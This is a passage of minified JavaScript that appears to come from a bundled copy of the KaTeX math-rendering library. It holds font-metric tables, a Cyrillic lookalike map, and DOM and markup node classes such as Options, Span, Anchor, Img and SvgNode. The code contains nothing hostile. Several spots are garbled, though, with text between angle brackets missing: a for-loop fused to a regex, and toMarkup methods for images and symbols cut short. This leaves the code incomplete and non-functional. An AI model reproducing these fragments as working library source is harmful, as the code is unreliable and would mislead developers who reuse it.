0,.91667],920:[0,.69444,0,0,.85556],923:[0,.69444,0,0,.67223],926:[0,.69444,0,0,.73334],928:[0,.69444,0,0,.79445],931:[0,.69444,0,0,.79445],933:[0,.69444,0,0,.85556],934:[0,.69444,0,0,.79445],936:[0,.69444,0,0,.85556],937:[0,.69444,0,0,.79445],8211:[0,.45833,.03056,0,.55],8212:[0,.45833,.03056,0,1.10001],8216:[0,.69444,0,0,.30556],8217:[0,.69444,0,0,.30556],8220:[0,.69444,0,0,.55834],8221:[0,.69444,0,0,.55834]},"SansSerif-Italic":{32:[0,0,0,0,.25],33:[0,.69444,.05733,0,.31945],34:[0,.69444,.00316,0,.5],35:[.19444,.69444,.05087,0,.83334],36:[.05556,.75,.11156,0,.5],37:[.05556,.75,.03126,0,.83334],38:[0,.69444,.03058,0,.75834],39:[0,.69444,.07816,0,.27778],40:[.25,.75,.13164,0,.38889],41:[.25,.75,.02536,0,.38889],42:[0,.75,.11775,0,.5],43:[.08333,.58333,.02536,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,.01946,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,.13164,0,.5],48:[0,.65556,.11156,0,.5],49:[0,.65556,.11156,0,.5],50:[0,.65556,.11156,0,.5],51:[0,.65556,.11156,0,.5],52:[0,.65556,.11156,0,.5],53:[0,.65556,.11156,0,.5],54:[0,.65556,.11156,0,.5],55:[0,.65556,.11156,0,.5],56:[0,.65556,.11156,0,.5],57:[0,.65556,.11156,0,.5],58:[0,.44444,.02502,0,.27778],59:[.125,.44444,.02502,0,.27778],61:[-.13,.37,.05087,0,.77778],63:[0,.69444,.11809,0,.47222],64:[0,.69444,.07555,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,.08293,0,.66667],67:[0,.69444,.11983,0,.63889],68:[0,.69444,.07555,0,.72223],69:[0,.69444,.11983,0,.59722],70:[0,.69444,.13372,0,.56945],71:[0,.69444,.11983,0,.66667],72:[0,.69444,.08094,0,.70834],73:[0,.69444,.13372,0,.27778],74:[0,.69444,.08094,0,.47222],75:[0,.69444,.11983,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,.08094,0,.875],78:[0,.69444,.08094,0,.70834],79:[0,.69444,.07555,0,.73611],80:[0,.69444,.08293,0,.63889],81:[.125,.69444,.07555,0,.73611],82:[0,.69444,.08293,0,.64584],83:[0,.69444,.09205,0,.55556],84:[0,.69444,.13372,0,.68056],85:[0,.69444,.08094,0,.6875],86:[0,.69444,.1615,0,.66667],87:[0,.69444,.1615,0,.94445],88:[0,.69444,.13372,0,.66667],89:[0,.69444,.17261,0,.66667],90:[0,.69444,.11983,0,.61111],91:[.25,.75,.15942,0,.28889],93:[.25,.75,.08719,0,.28889],94:[0,.69444,.0799,0,.5],95:[.35,.09444,.08616,0,.5],97:[0,.44444,.00981,0,.48056],98:[0,.69444,.03057,0,.51667],99:[0,.44444,.08336,0,.44445],100:[0,.69444,.09483,0,.51667],101:[0,.44444,.06778,0,.44445],102:[0,.69444,.21705,0,.30556],103:[.19444,.44444,.10836,0,.5],104:[0,.69444,.01778,0,.51667],105:[0,.67937,.09718,0,.23889],106:[.19444,.67937,.09162,0,.26667],107:[0,.69444,.08336,0,.48889],108:[0,.69444,.09483,0,.23889],109:[0,.44444,.01778,0,.79445],110:[0,.44444,.01778,0,.51667],111:[0,.44444,.06613,0,.5],112:[.19444,.44444,.0389,0,.51667],113:[.19444,.44444,.04169,0,.51667],114:[0,.44444,.10836,0,.34167],115:[0,.44444,.0778,0,.38333],116:[0,.57143,.07225,0,.36111],117:[0,.44444,.04169,0,.51667],118:[0,.44444,.10836,0,.46111],119:[0,.44444,.10836,0,.68334],120:[0,.44444,.09169,0,.46111],121:[.19444,.44444,.10836,0,.46111],122:[0,.44444,.08752,0,.43472],126:[.35,.32659,.08826,0,.5],160:[0,0,0,0,.25],168:[0,.67937,.06385,0,.5],176:[0,.69444,0,0,.73752],184:[.17014,0,0,0,.44445],305:[0,.44444,.04169,0,.23889],567:[.19444,.44444,.04169,0,.26667],710:[0,.69444,.0799,0,.5],711:[0,.63194,.08432,0,.5],713:[0,.60889,.08776,0,.5],714:[0,.69444,.09205,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,.09483,0,.5],729:[0,.67937,.07774,0,.27778],730:[0,.69444,0,0,.73752],732:[0,.67659,.08826,0,.5],733:[0,.69444,.09205,0,.5],915:[0,.69444,.13372,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,.07555,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,.12816,0,.66667],928:[0,.69444,.08094,0,.70834],931:[0,.69444,.11983,0,.72222],933:[0,.69444,.09031,0,.77778],934:[0,.69444,.04603,0,.72222],936:[0,.69444,.09031,0,.77778],937:[0,.69444,.08293,0,.72222],8211:[0,.44444,.08616,0,.5],8212:[0,.44444,.08616,0,1],8216:[0,.69444,.07816,0,.27778],8217:[0,.69444,.07816,0,.27778],8220:[0,.69444,.14205,0,.5],8221:[0,.69444,.00316,0,.5]},"SansSerif-Regular":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.31945],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.75834],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,0,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.65556,0,0,.5],49:[0,.65556,0,0,.5],50:[0,.65556,0,0,.5],51:[0,.65556,0,0,.5],52:[0,.65556,0,0,.5],53:[0,.65556,0,0,.5],54:[0,.65556,0,0,.5],55:[0,.65556,0,0,.5],56:[0,.65556,0,0,.5],57:[0,.65556,0,0,.5],58:[0,.44444,0,0,.27778],59:[.125,.44444,0,0,.27778],61:[-.13,.37,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,0,0,.66667],67:[0,.69444,0,0,.63889],68:[0,.69444,0,0,.72223],69:[0,.69444,0,0,.59722],70:[0,.69444,0,0,.56945],71:[0,.69444,0,0,.66667],72:[0,.69444,0,0,.70834],73:[0,.69444,0,0,.27778],74:[0,.69444,0,0,.47222],75:[0,.69444,0,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,0,0,.875],78:[0,.69444,0,0,.70834],79:[0,.69444,0,0,.73611],80:[0,.69444,0,0,.63889],81:[.125,.69444,0,0,.73611],82:[0,.69444,0,0,.64584],83:[0,.69444,0,0,.55556],84:[0,.69444,0,0,.68056],85:[0,.69444,0,0,.6875],86:[0,.69444,.01389,0,.66667],87:[0,.69444,.01389,0,.94445],88:[0,.69444,0,0,.66667],89:[0,.69444,.025,0,.66667],90:[0,.69444,0,0,.61111],91:[.25,.75,0,0,.28889],93:[.25,.75,0,0,.28889],94:[0,.69444,0,0,.5],95:[.35,.09444,.02778,0,.5],97:[0,.44444,0,0,.48056],98:[0,.69444,0,0,.51667],99:[0,.44444,0,0,.44445],100:[0,.69444,0,0,.51667],101:[0,.44444,0,0,.44445],102:[0,.69444,.06944,0,.30556],103:[.19444,.44444,.01389,0,.5],104:[0,.69444,0,0,.51667],105:[0,.67937,0,0,.23889],106:[.19444,.67937,0,0,.26667],107:[0,.69444,0,0,.48889],108:[0,.69444,0,0,.23889],109:[0,.44444,0,0,.79445],110:[0,.44444,0,0,.51667],111:[0,.44444,0,0,.5],112:[.19444,.44444,0,0,.51667],113:[.19444,.44444,0,0,.51667],114:[0,.44444,.01389,0,.34167],115:[0,.44444,0,0,.38333],116:[0,.57143,0,0,.36111],117:[0,.44444,0,0,.51667],118:[0,.44444,.01389,0,.46111],119:[0,.44444,.01389,0,.68334],120:[0,.44444,0,0,.46111],121:[.19444,.44444,.01389,0,.46111],122:[0,.44444,0,0,.43472],126:[.35,.32659,0,0,.5],160:[0,0,0,0,.25],168:[0,.67937,0,0,.5],176:[0,.69444,0,0,.66667],184:[.17014,0,0,0,.44445],305:[0,.44444,0,0,.23889],567:[.19444,.44444,0,0,.26667],710:[0,.69444,0,0,.5],711:[0,.63194,0,0,.5],713:[0,.60889,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.67937,0,0,.27778],730:[0,.69444,0,0,.66667],732:[0,.67659,0,0,.5],733:[0,.69444,0,0,.5],915:[0,.69444,0,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,0,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,0,0,.66667],928:[0,.69444,0,0,.70834],931:[0,.69444,0,0,.72222],933:[0,.69444,0,0,.77778],934:[0,.69444,0,0,.72222],936:[0,.69444,0,0,.77778],937:[0,.69444,0,0,.72222],8211:[0,.44444,.02778,0,.5],8212:[0,.44444,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5]},"Script-Regular":{32:[0,0,0,0,.25],65:[0,.7,.22925,0,.80253],66:[0,.7,.04087,0,.90757],67:[0,.7,.1689,0,.66619],68:[0,.7,.09371,0,.77443],69:[0,.7,.18583,0,.56162],70:[0,.7,.13634,0,.89544],71:[0,.7,.17322,0,.60961],72:[0,.7,.29694,0,.96919],73:[0,.7,.19189,0,.80907],74:[.27778,.7,.19189,0,1.05159],75:[0,.7,.31259,0,.91364],76:[0,.7,.19189,0,.87373],77:[0,.7,.15981,0,1.08031],78:[0,.7,.3525,0,.9015],79:[0,.7,.08078,0,.73787],80:[0,.7,.08078,0,1.01262],81:[0,.7,.03305,0,.88282],82:[0,.7,.06259,0,.85],83:[0,.7,.19189,0,.86767],84:[0,.7,.29087,0,.74697],85:[0,.7,.25815,0,.79996],86:[0,.7,.27523,0,.62204],87:[0,.7,.27523,0,.80532],88:[0,.7,.26006,0,.94445],89:[0,.7,.2939,0,.70961],90:[0,.7,.24037,0,.8212],160:[0,0,0,0,.25]},"Size1-Regular":{32:[0,0,0,0,.25],40:[.35001,.85,0,0,.45834],41:[.35001,.85,0,0,.45834],47:[.35001,.85,0,0,.57778],91:[.35001,.85,0,0,.41667],92:[.35001,.85,0,0,.57778],93:[.35001,.85,0,0,.41667],123:[.35001,.85,0,0,.58334],125:[.35001,.85,0,0,.58334],160:[0,0,0,0,.25],710:[0,.72222,0,0,.55556],732:[0,.72222,0,0,.55556],770:[0,.72222,0,0,.55556],771:[0,.72222,0,0,.55556],8214:[-99e-5,.601,0,0,.77778],8593:[1e-5,.6,0,0,.66667],8595:[1e-5,.6,0,0,.66667],8657:[1e-5,.6,0,0,.77778],8659:[1e-5,.6,0,0,.77778],8719:[.25001,.75,0,0,.94445],8720:[.25001,.75,0,0,.94445],8721:[.25001,.75,0,0,1.05556],8730:[.35001,.85,0,0,1],8739:[-.00599,.606,0,0,.33333],8741:[-.00599,.606,0,0,.55556],8747:[.30612,.805,.19445,0,.47222],8748:[.306,.805,.19445,0,.47222],8749:[.306,.805,.19445,0,.47222],8750:[.30612,.805,.19445,0,.47222],8896:[.25001,.75,0,0,.83334],8897:[.25001,.75,0,0,.83334],8898:[.25001,.75,0,0,.83334],8899:[.25001,.75,0,0,.83334],8968:[.35001,.85,0,0,.47222],8969:[.35001,.85,0,0,.47222],8970:[.35001,.85,0,0,.47222],8971:[.35001,.85,0,0,.47222],9168:[-99e-5,.601,0,0,.66667],10216:[.35001,.85,0,0,.47222],10217:[.35001,.85,0,0,.47222],10752:[.25001,.75,0,0,1.11111],10753:[.25001,.75,0,0,1.11111],10754:[.25001,.75,0,0,1.11111],10756:[.25001,.75,0,0,.83334],10758:[.25001,.75,0,0,.83334]},"Size2-Regular":{32:[0,0,0,0,.25],40:[.65002,1.15,0,0,.59722],41:[.65002,1.15,0,0,.59722],47:[.65002,1.15,0,0,.81111],91:[.65002,1.15,0,0,.47222],92:[.65002,1.15,0,0,.81111],93:[.65002,1.15,0,0,.47222],123:[.65002,1.15,0,0,.66667],125:[.65002,1.15,0,0,.66667],160:[0,0,0,0,.25],710:[0,.75,0,0,1],732:[0,.75,0,0,1],770:[0,.75,0,0,1],771:[0,.75,0,0,1],8719:[.55001,1.05,0,0,1.27778],8720:[.55001,1.05,0,0,1.27778],8721:[.55001,1.05,0,0,1.44445],8730:[.65002,1.15,0,0,1],8747:[.86225,1.36,.44445,0,.55556],8748:[.862,1.36,.44445,0,.55556],8749:[.862,1.36,.44445,0,.55556],8750:[.86225,1.36,.44445,0,.55556],8896:[.55001,1.05,0,0,1.11111],8897:[.55001,1.05,0,0,1.11111],8898:[.55001,1.05,0,0,1.11111],8899:[.55001,1.05,0,0,1.11111],8968:[.65002,1.15,0,0,.52778],8969:[.65002,1.15,0,0,.52778],8970:[.65002,1.15,0,0,.52778],8971:[.65002,1.15,0,0,.52778],10216:[.65002,1.15,0,0,.61111],10217:[.65002,1.15,0,0,.61111],10752:[.55001,1.05,0,0,1.51112],10753:[.55001,1.05,0,0,1.51112],10754:[.55001,1.05,0,0,1.51112],10756:[.55001,1.05,0,0,1.11111],10758:[.55001,1.05,0,0,1.11111]},"Size3-Regular":{32:[0,0,0,0,.25],40:[.95003,1.45,0,0,.73611],41:[.95003,1.45,0,0,.73611],47:[.95003,1.45,0,0,1.04445],91:[.95003,1.45,0,0,.52778],92:[.95003,1.45,0,0,1.04445],93:[.95003,1.45,0,0,.52778],123:[.95003,1.45,0,0,.75],125:[.95003,1.45,0,0,.75],160:[0,0,0,0,.25],710:[0,.75,0,0,1.44445],732:[0,.75,0,0,1.44445],770:[0,.75,0,0,1.44445],771:[0,.75,0,0,1.44445],8730:[.95003,1.45,0,0,1],8968:[.95003,1.45,0,0,.58334],8969:[.95003,1.45,0,0,.58334],8970:[.95003,1.45,0,0,.58334],8971:[.95003,1.45,0,0,.58334],10216:[.95003,1.45,0,0,.75],10217:[.95003,1.45,0,0,.75]},"Size4-Regular":{32:[0,0,0,0,.25],40:[1.25003,1.75,0,0,.79167],41:[1.25003,1.75,0,0,.79167],47:[1.25003,1.75,0,0,1.27778],91:[1.25003,1.75,0,0,.58334],92:[1.25003,1.75,0,0,1.27778],93:[1.25003,1.75,0,0,.58334],123:[1.25003,1.75,0,0,.80556],125:[1.25003,1.75,0,0,.80556],160:[0,0,0,0,.25],710:[0,.825,0,0,1.8889],732:[0,.825,0,0,1.8889],770:[0,.825,0,0,1.8889],771:[0,.825,0,0,1.8889],8730:[1.25003,1.75,0,0,1],8968:[1.25003,1.75,0,0,.63889],8969:[1.25003,1.75,0,0,.63889],8970:[1.25003,1.75,0,0,.63889],8971:[1.25003,1.75,0,0,.63889],9115:[.64502,1.155,0,0,.875],9116:[1e-5,.6,0,0,.875],9117:[.64502,1.155,0,0,.875],9118:[.64502,1.155,0,0,.875],9119:[1e-5,.6,0,0,.875],9120:[.64502,1.155,0,0,.875],9121:[.64502,1.155,0,0,.66667],9122:[-99e-5,.601,0,0,.66667],9123:[.64502,1.155,0,0,.66667],9124:[.64502,1.155,0,0,.66667],9125:[-99e-5,.601,0,0,.66667],9126:[.64502,1.155,0,0,.66667],9127:[1e-5,.9,0,0,.88889],9128:[.65002,1.15,0,0,.88889],9129:[.90001,0,0,0,.88889],9130:[0,.3,0,0,.88889],9131:[1e-5,.9,0,0,.88889],9132:[.65002,1.15,0,0,.88889],9133:[.90001,0,0,0,.88889],9143:[.88502,.915,0,0,1.05556],10216:[1.25003,1.75,0,0,.80556],10217:[1.25003,1.75,0,0,.80556],57344:[-.00499,.605,0,0,1.05556],57345:[-.00499,.605,0,0,1.05556],57680:[0,.12,0,0,.45],57681:[0,.12,0,0,.45],57682:[0,.12,0,0,.45],57683:[0,.12,0,0,.45]},"Typewriter-Regular":{32:[0,0,0,0,.525],33:[0,.61111,0,0,.525],34:[0,.61111,0,0,.525],35:[0,.61111,0,0,.525],36:[.08333,.69444,0,0,.525],37:[.08333,.69444,0,0,.525],38:[0,.61111,0,0,.525],39:[0,.61111,0,0,.525],40:[.08333,.69444,0,0,.525],41:[.08333,.69444,0,0,.525],42:[0,.52083,0,0,.525],43:[-.08056,.53055,0,0,.525],44:[.13889,.125,0,0,.525],45:[-.08056,.53055,0,0,.525],46:[0,.125,0,0,.525],47:[.08333,.69444,0,0,.525],48:[0,.61111,0,0,.525],49:[0,.61111,0,0,.525],50:[0,.61111,0,0,.525],51:[0,.61111,0,0,.525],52:[0,.61111,0,0,.525],53:[0,.61111,0,0,.525],54:[0,.61111,0,0,.525],55:[0,.61111,0,0,.525],56:[0,.61111,0,0,.525],57:[0,.61111,0,0,.525],58:[0,.43056,0,0,.525],59:[.13889,.43056,0,0,.525],60:[-.05556,.55556,0,0,.525],61:[-.19549,.41562,0,0,.525],62:[-.05556,.55556,0,0,.525],63:[0,.61111,0,0,.525],64:[0,.61111,0,0,.525],65:[0,.61111,0,0,.525],66:[0,.61111,0,0,.525],67:[0,.61111,0,0,.525],68:[0,.61111,0,0,.525],69:[0,.61111,0,0,.525],70:[0,.61111,0,0,.525],71:[0,.61111,0,0,.525],72:[0,.61111,0,0,.525],73:[0,.61111,0,0,.525],74:[0,.61111,0,0,.525],75:[0,.61111,0,0,.525],76:[0,.61111,0,0,.525],77:[0,.61111,0,0,.525],78:[0,.61111,0,0,.525],79:[0,.61111,0,0,.525],80:[0,.61111,0,0,.525],81:[.13889,.61111,0,0,.525],82:[0,.61111,0,0,.525],83:[0,.61111,0,0,.525],84:[0,.61111,0,0,.525],85:[0,.61111,0,0,.525],86:[0,.61111,0,0,.525],87:[0,.61111,0,0,.525],88:[0,.61111,0,0,.525],89:[0,.61111,0,0,.525],90:[0,.61111,0,0,.525],91:[.08333,.69444,0,0,.525],92:[.08333,.69444,0,0,.525],93:[.08333,.69444,0,0,.525],94:[0,.61111,0,0,.525],95:[.09514,0,0,0,.525],96:[0,.61111,0,0,.525],97:[0,.43056,0,0,.525],98:[0,.61111,0,0,.525],99:[0,.43056,0,0,.525],100:[0,.61111,0,0,.525],101:[0,.43056,0,0,.525],102:[0,.61111,0,0,.525],103:[.22222,.43056,0,0,.525],104:[0,.61111,0,0,.525],105:[0,.61111,0,0,.525],106:[.22222,.61111,0,0,.525],107:[0,.61111,0,0,.525],108:[0,.61111,0,0,.525],109:[0,.43056,0,0,.525],110:[0,.43056,0,0,.525],111:[0,.43056,0,0,.525],112:[.22222,.43056,0,0,.525],113:[.22222,.43056,0,0,.525],114:[0,.43056,0,0,.525],115:[0,.43056,0,0,.525],116:[0,.55358,0,0,.525],117:[0,.43056,0,0,.525],118:[0,.43056,0,0,.525],119:[0,.43056,0,0,.525],120:[0,.43056,0,0,.525],121:[.22222,.43056,0,0,.525],122:[0,.43056,0,0,.525],123:[.08333,.69444,0,0,.525],124:[.08333,.69444,0,0,.525],125:[.08333,.69444,0,0,.525],126:[0,.61111,0,0,.525],127:[0,.61111,0,0,.525],160:[0,0,0,0,.525],176:[0,.61111,0,0,.525],184:[.19445,0,0,0,.525],305:[0,.43056,0,0,.525],567:[.22222,.43056,0,0,.525],711:[0,.56597,0,0,.525],713:[0,.56555,0,0,.525],714:[0,.61111,0,0,.525],715:[0,.61111,0,0,.525],728:[0,.61111,0,0,.525],730:[0,.61111,0,0,.525],770:[0,.61111,0,0,.525],771:[0,.61111,0,0,.525],776:[0,.61111,0,0,.525],915:[0,.61111,0,0,.525],916:[0,.61111,0,0,.525],920:[0,.61111,0,0,.525],923:[0,.61111,0,0,.525],926:[0,.61111,0,0,.525],928:[0,.61111,0,0,.525],931:[0,.61111,0,0,.525],933:[0,.61111,0,0,.525],934:[0,.61111,0,0,.525],936:[0,.61111,0,0,.525],937:[0,.61111,0,0,.525],8216:[0,.61111,0,0,.525],8217:[0,.61111,0,0,.525],8242:[0,.61111,0,0,.525],9251:[.11111,.21944,0,0,.525]}},o3={slant:[.25,.25,.25],space:[0,0,0],stretch:[0,0,0],shrink:[0,0,0],xHeight:[.431,.431,.431],quad:[1,1.171,1.472],extraSpace:[0,0,0],num1:[.677,.732,.925],num2:[.394,.384,.387],num3:[.444,.471,.504],denom1:[.686,.752,1.025],denom2:[.345,.344,.532],sup1:[.413,.503,.504],sup2:[.363,.431,.404],sup3:[.289,.286,.294],sub1:[.15,.143,.2],sub2:[.247,.286,.4],supDrop:[.386,.353,.494],subDrop:[.05,.071,.1],delim1:[2.39,1.7,1.98],delim2:[1.01,1.157,1.42],axisHeight:[.25,.25,.25],defaultRuleThickness:[.04,.049,.049],bigOpSpacing1:[.111,.111,.111],bigOpSpacing2:[.166,.166,.166],bigOpSpacing3:[.2,.2,.2],bigOpSpacing4:[.6,.611,.611],bigOpSpacing5:[.1,.143,.143],sqrtRuleThickness:[.04,.04,.04],ptPerEm:[10,10,10],doubleRuleSep:[.2,.2,.2],arrayRuleWidth:[.04,.04,.04],fboxsep:[.3,.3,.3],fboxrule:[.04,.04,.04]},gV={\u00C5:"A",\u00D0:"D",\u00DE:"o",\u00E5:"a",\u00F0:"d",\u00FE:"o",\u0410:"A",\u0411:"B",\u0412:"B",\u0413:"F",\u0414:"A",\u0415:"E",\u0416:"K",\u0417:"3",\u0418:"N",\u0419:"N",\u041A:"K",\u041B:"N",\u041C:"M",\u041D:"H",\u041E:"O",\u041F:"N",\u0420:"P",\u0421:"C",\u0422:"T",\u0423:"y",\u0424:"O",\u0425:"X",\u0426:"U",\u0427:"h",\u0428:"W",\u0429:"W",\u042A:"B",\u042B:"X",\u042C:"B",\u042D:"3",\u042E:"X",\u042F:"R",\u0430:"a",\u0431:"b",\u0432:"a",\u0433:"r",\u0434:"y",\u0435:"e",\u0436:"m",\u0437:"e",\u0438:"n",\u0439:"n",\u043A:"n",\u043B:"n",\u043C:"m",\u043D:"n",\u043E:"o",\u043F:"n",\u0440:"p",\u0441:"c",\u0442:"o",\u0443:"y",\u0444:"b",\u0445:"x",\u0446:"n",\u0447:"n",\u0448:"w",\u0449:"w",\u044A:"a",\u044B:"m",\u044C:"a",\u044D:"e",\u044E:"m",\u044F:"r"};o(XV,"setFontMetrics");o(lA,"getCharacterMetrics");P7={};o(xTe,"getGlobalMetrics");bTe=[[1,1,1],[2,1,1],[3,1,1],[4,2,1],[5,2,1],[6,3,1],[7,4,2],[8,6,3],[9,7,6],[10,8,7],[11,10,9]],yV=[.5,.6,.7,.8,.9,1,1.2,1.44,1.728,2.074,2.488],vV=o(function(e,r){return r.size<2?e:bTe[e-1][r.size-1]},"sizeAtStyle"),b3=class t{static{o(this,"Options")}constructor(e){this.style=void 0,this.color=void 0,this.size=void 0,this.textSize=void 0,this.phantom=void 0,this.font=void 0,this.fontFamily=void 0,this.fontWeight=void 0,this.fontShape=void 0,this.sizeMultiplier=void 0,this.maxSize=void 0,this.minRuleThickness=void 0,this._fontMetrics=void 0,this.style=e.style,this.color=e.color,this.size=e.size||t.BASESIZE,this.textSize=e.textSize||this.size,this.phantom=!!e.phantom,this.font=e.font||"",this.fontFamily=e.fontFamily||"",this.fontWeight=e.fontWeight||"",this.fontShape=e.fontShape||"",this.sizeMultiplier=yV[this.size-1],this.maxSize=e.maxSize,this.minRuleThickness=e.minRuleThickness,this._fontMetrics=void 0}extend(e){var r={style:this.style,size:this.size,textSize:this.textSize,color:this.color,phantom:this.phantom,font:this.font,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontShape:this.fontShape,maxSize:this.maxSize,minRuleThickness:this.minRuleThickness};for(var n in e)e.hasOwnProperty(n)&&(r[n]=e[n]);return new t(r)}havingStyle(e){return this.style===e?this:this.extend({style:e,size:vV(this.textSize,e)})}havingCrampedStyle(){return this.havingStyle(this.style.cramp())}havingSize(e){return this.size===e&&this.textSize===e?this:this.extend({style:this.style.text(),size:e,textSize:e,sizeMultiplier:yV[e-1]})}havingBaseStyle(e){e=e||this.style.text();var r=vV(t.BASESIZE,e);return this.size===r&&this.textSize===t.BASESIZE&&this.style===e?this:this.extend({style:e,size:r})}havingBaseSizing(){var e;switch(this.style.id){case 4:case 5:e=3;break;case 6:case 7:e=1;break;default:e=6}return this.extend({style:this.style.text(),size:e})}withColor(e){return this.extend({color:e})}withPhantom(){return this.extend({phantom:!0})}withFont(e){return this.extend({font:e})}withTextFontFamily(e){return this.extend({fontFamily:e,font:""})}withTextFontWeight(e){return this.extend({fontWeight:e,font:""})}withTextFontShape(e){return this.extend({fontShape:e,font:""})}sizingClasses(e){return e.size!==this.size?["sizing","reset-size"+e.size,"size"+this.size]:[]}baseSizingClasses(){return this.size!==t.BASESIZE?["sizing","reset-size"+this.size,"size"+t.BASESIZE]:[]}fontMetrics(){return this._fontMetrics||(this._fontMetrics=xTe(this.size)),this._fontMetrics}getColor(){return this.phantom?"transparent":this.color}};b3.BASESIZE=6;K7={pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:803/800,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:803/800},TTe={ex:!0,em:!0,mu:!0},jV=o(function(e){return typeof e!="string"&&(e=e.unit),e in K7||e in TTe||e==="ex"},"validUnit"),ii=o(function(e,r){var n;if(e.unit in K7)n=K7[e.unit]/r.fontMetrics().ptPerEm/r.sizeMultiplier;else if(e.unit==="mu")n=r.fontMetrics().cssEmPerMu;else{var i;if(r.style.isTight()?i=r.havingStyle(r.style.text()):i=r,e.unit==="ex")n=i.fontMetrics().xHeight;else if(e.unit==="em")n=i.fontMetrics().quad;else throw new gt("Invalid unit: '"+e.unit+"'");i!==r&&(n*=i.sizeMultiplier/r.sizeMultiplier)}return Math.min(e.number*n,r.maxSize)},"calculateSize"),St=o(function(e){return+e.toFixed(4)+"em"},"makeEm"),bh=o(function(e){return e.filter(r=>r).join(" ")},"createClass"),KV=o(function(e,r,n){if(this.classes=e||[],this.attributes={},this.height=0,this.depth=0,this.maxFontSize=0,this.style=n||{},r){r.style.isTight()&&this.classes.push("mtight");var i=r.getColor();i&&(this.style.color=i)}},"initNode"),QV=o(function(e){var r=document.createElement(e);r.className=bh(this.classes);for(var n in this.style)this.style.hasOwnProperty(n)&&(r.style[n]=this.style[n]);for(var i in this.attributes)this.attributes.hasOwnProperty(i)&&r.setAttribute(i,this.attributes[i]);for(var a=0;a/=\x00-\x1f]/,ZV=o(function(e){var r="<"+e;this.classes.length&&(r+=' class="'+er.escape(bh(this.classes))+'"');var n="";for(var i in this.style)this.style.hasOwnProperty(i)&&(n+=er.hyphenate(i)+":"+this.style[i]+";");n&&(r+=' style="'+er.escape(n)+'"');for(var a in this.attributes)if(this.attributes.hasOwnProperty(a)){if(wTe.test(a))throw new gt("Invalid attribute name '"+a+"'");r+=" "+a+'="'+er.escape(this.attributes[a])+'"'}r+=">";for(var s=0;s",r},"toMarkup"),fd=class{static{o(this,"Span")}constructor(e,r,n,i){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.width=void 0,this.maxFontSize=void 0,this.style=void 0,KV.call(this,e,n,i),this.children=r||[]}setAttribute(e,r){this.attributes[e]=r}hasClass(e){return er.contains(this.classes,e)}toNode(){return QV.call(this,"span")}toMarkup(){return ZV.call(this,"span")}},Ky=class{static{o(this,"Anchor")}constructor(e,r,n,i){this.children=void 0,this.attributes=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,KV.call(this,r,i),this.children=n||[],this.setAttribute("href",e)}setAttribute(e,r){this.attributes[e]=r}hasClass(e){return er.contains(this.classes,e)}toNode(){return QV.call(this,"a")}toMarkup(){return ZV.call(this,"a")}},Q7=class{static{o(this,"Img")}constructor(e,r,n){this.src=void 0,this.alt=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.alt=r,this.src=e,this.classes=["mord"],this.style=n}hasClass(e){return er.contains(this.classes,e)}toNode(){var e=document.createElement("img");e.src=this.src,e.alt=this.alt,e.className="mord";for(var r in this.style)this.style.hasOwnProperty(r)&&(e.style[r]=this.style[r]);return e}toMarkup(){var e=''+er.escape(this.alt)+'0&&(r=document.createElement("span"),r.style.marginRight=St(this.italic)),this.classes.length>0&&(r=r||document.createElement("span"),r.className=bh(this.classes));for(var n in this.style)this.style.hasOwnProperty(n)&&(r=r||document.createElement("span"),r.style[n]=this.style[n]);return r?(r.appendChild(e),r):e}toMarkup(){var e=!1,r="0&&(n+="margin-right:"+this.italic+"em;");for(var i in this.style)this.style.hasOwnProperty(i)&&(n+=er.hyphenate(i)+":"+this.style[i]+";");n&&(e=!0,r+=' style="'+er.escape(n)+'"');var a=er.escape(this.text);return e?(r+=">",r+=a,r+="",r):a}},dl=class{static{o(this,"SvgNode")}constructor(e,r){this.children=void 0,this.attributes=void 0,this.children=e||[],this.attributes=r||{}}toNode(){var e="http://www.w3.org/2000/svg",r=document.createElementNS(e,"svg");for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&r.setAttribute(n,this.attributes[n]);for(var i=0;i':''}},Qy=class{static{o(this,"LineNode")}constructor(e){this.attributes=void 0,this.attributes=e||{}}toNode(){var e="http://www.w3.org/2000/svg",r=document.createElementNS(e,"line");for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&r.setAttribute(n,this.attributes[n]);return r}toMarkup(){var 